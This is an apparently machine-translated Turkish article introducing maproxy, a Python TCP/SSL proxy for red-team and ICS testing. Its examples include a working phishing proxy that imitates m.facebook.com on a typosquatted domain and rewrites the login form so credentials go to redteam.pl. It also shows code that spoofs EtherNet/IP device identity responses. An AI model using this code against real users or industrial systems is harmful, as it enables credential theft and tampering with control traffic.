Makalenin çevirisi kursun başlamasının arifesinde hazırlanmıştır.
Soyut
Düzenli sızma testi ve Red Team operasyonlarından IoT/ICS cihazlarının ve SCADA'nın hacklenmesine kadar çeşitli güvenlik değerlendirmesi türleri, ikili ağ protokolleriyle çalışmayı, yani esas olarak istemci ile hedef arasındaki ağ verilerinin ele geçirilmesini ve değiştirilmesini içerir. Wireshark, Tcpdump veya Scapy gibi araçlarımız olduğundan ağ trafiğini koklamak zor bir iş değil, ancak ağ verilerini okumak, filtrelemek, değiştirmek için bir tür arayüze ihtiyacımız olacağından değişiklik yapmak daha emek yoğun bir iş gibi görünüyor anında ve neredeyse gerçek zamanlı olarak hedef ana bilgisayara geri gönderin. Ayrıca böyle bir aracın birden fazla paralel bağlantıyla otomatik olarak çalışabilmesi ve komut dosyaları kullanılarak özelleştirilebilmesi ideal olacaktır.
Bir gün adında bir araç keşfettim
, belgeler bana şunu hemen açıkça ortaya koydu: maproxy
- tam ihtiyacım olan şey. Bu oldukça basit, çok yönlü ve kolayca yapılandırılabilir bir TCP proxy'sidir. Bu aracı, çok sayıda paralel bağlantıyı işleyip işleyemeyeceğini görmek için ICS aygıtları da dahil olmak üzere (çok sayıda paket üreten) oldukça karmaşık birkaç uygulamada test ettim ve araç iyi performans gösterdi.
Bu makale size ağ verilerinin anında işlenmesini tanıtacaktır. maproxy
.
Gözden
Araç maproxy
Python'daki popüler ve olgun bir asenkron ağ çerçevesi olan Tornado'yu temel alır.
Genel olarak çeşitli modlarda çalışabilir:
TCP:TCP
– şifrelenmemiş TCP bağlantıları;TCP:SSL
иSSL:TCP
– tek yönlü şifrelemeyle;SSL:SSL
– iki yönlü şifreleme.
Kütüphane olarak geliyor. Hızlı bir başlangıç için ana konuyu yansıtan örnek dosyaları kullanabilirsiniz.
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Durum 1 – basit çift yönlü proxy
Göre tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
Varsayılan olarak ProxyServer()
iki bağımsız değişken alır; bağlantı konumu ve hedef bağlantı noktası. server.listen()
bir argüman alır - gelen bağlantıyı dinlemek için kullanılan bağlantı noktası.
Komut dosyasının yürütülmesi:
# python tcp2tcp.py
Testi çalıştırmak için proxy betiğimiz aracılığıyla yerel bir SSH sunucusuna bağlanacağız. 2222/tcp
bağlantı noktası ve standart bir bağlantı noktasına bağlanır 22/tcp
SSH sunucuları:
Hoş geldiniz başlığı, örnek komut dosyamızın ağ trafiğini başarıyla proxy'lediğini size bildirir.
Durum 2 – veri değişikliği
Başka bir demo komut dosyası logging_proxy.py
ağ verileriyle etkileşim kurmak için idealdir. Dosyadaki yorumlar, hedefinize ulaşmak için değiştirebileceğiniz sınıf yöntemlerini açıklar:
En ilginç şey burada:
on_c2p_done_read
– istemciden sunucuya giden yol boyunca verilere müdahale etmek;on_p2s_done_read
- tersine döndü.
Sunucunun istemciye döndürdüğü SSH başlığını değiştirmeyi deneyelim:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Komut dosyasını yürütün:
Gördüğünüz gibi istemci, SSH sunucu adının şu şekilde değiştirilmesi nedeniyle yanıltıldı: «DumnySSH»
.
Durum 3 – basit kimlik avı web sayfası
Bu aracı kullanmanın sonsuz yolu vardır. Bu sefer Kırmızı Takım operasyonları açısından daha pratik bir şeye odaklanalım. Açılış sayfasını taklit edelim m.facebook.com
ve kasıtlı bir yazım hatası içeren özel bir alan adı kullanın; örneğin, m.facebok.com
. Gösterim amacıyla, alan adının bizim tarafımızdan kaydedildiğini varsayalım.
Kurbanlarımızın proxy'si ve Facebook sunucusuna SSL Akışı ile şifrelenmemiş bir ağ bağlantısı kuracağız (31.13.81.36
). Bu örneğin işe yaraması için, HTTP ana bilgisayar başlığını değiştirip doğru ana bilgisayar adını eklememiz gerekiyor ve ayrıca içeriğe kolayca erişebilmemiz için yanıt sıkıştırmayı da devre dışı bırakacağız. Son olarak, giriş bilgilerinin Facebook sunucuları yerine bize gönderilmesi için HTML formunu değiştireceğiz:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/tr/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Özetle:
Gördüğünüz gibi orijinal siteyi başarıyla değiştirmeyi başardık.
Durum 4 – Ethernet/IP'nin Taşınması
Uzun süredir programlanabilir kontrolörler (PLC), I/O modülleri, sürücüler, röleler, ladder programlama ortamları ve çok daha fazlası gibi endüstriyel cihazlar ve yazılımlarla (ICS/SCADA) ilgileniyorum. Bu durum endüstriyel şeyleri sevenler içindir. Bu tür çözümleri hacklemek, ağ protokolleriyle aktif olarak oynamayı gerektirir. Aşağıdaki örnekte ICS/SCADA ağ trafiğini nasıl değiştirebileceğinizi göstermek istiyorum.
Bunu yapmak için aşağıdakilere ihtiyacınız var:
- Ağ algılayıcısı, örneğin Wireshark;
- Ethernet/IP veya yalnızca bir SIP cihazı, onu Shodan hizmetini kullanarak bulabilirsiniz;
- Senaryomuz buna dayanıyor
maproxy
.
İlk olarak, CIP'den (Ortak Endüstriyel Protokol) gelen tipik bir tanımlama yanıtının nasıl göründüğüne bakalım:
Cihaz tanımlama, CIP gibi kontrol protokollerini kapsayan endüstriyel Ethernet protokolünün geliştirilmiş bir versiyonu olan Ethernet/IP protokolü kullanılarak gerçekleştirilir. Ekran görüntüsünde görünen, vurgulanan kimlik adını değiştireceğiz "Ethernet için NI-IndComm" proxy betiğimizi kullanarak. Senaryoyu yeniden kullanabiliriz logging_proxy.py
ve benzer şekilde sınıf yöntemini değiştirin on_p2s_done_read
çünkü istemcide farklı bir kimlik adının görünmesini istiyoruz.
Kod:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Temel olarak, cihazın kimliğini iki kez sorduk, ikinci yanıt orijinal yanıttı ve ilk yanıt anında değiştirildi.
Ve son
Bence maproxy
Yine Python'da yazılmış kullanışlı ve basit bir araç, dolayısıyla sizin de onu kullanmanın fayda sağlayacağına inanıyorum. Elbette, ağ verilerini işlemek ve değiştirmek için daha karmaşık araçlar vardır, ancak bunlar aynı zamanda daha fazla dikkat gerektirir ve genellikle belirli bir kullanım durumu için oluşturulur; maproxy
Örnek komut dosyaları çok açık olduğundan, ağ verilerini ele geçirmeye yönelik fikirlerinizi hızlı bir şekilde uygulayabilirsiniz.
Kaynak: habr.com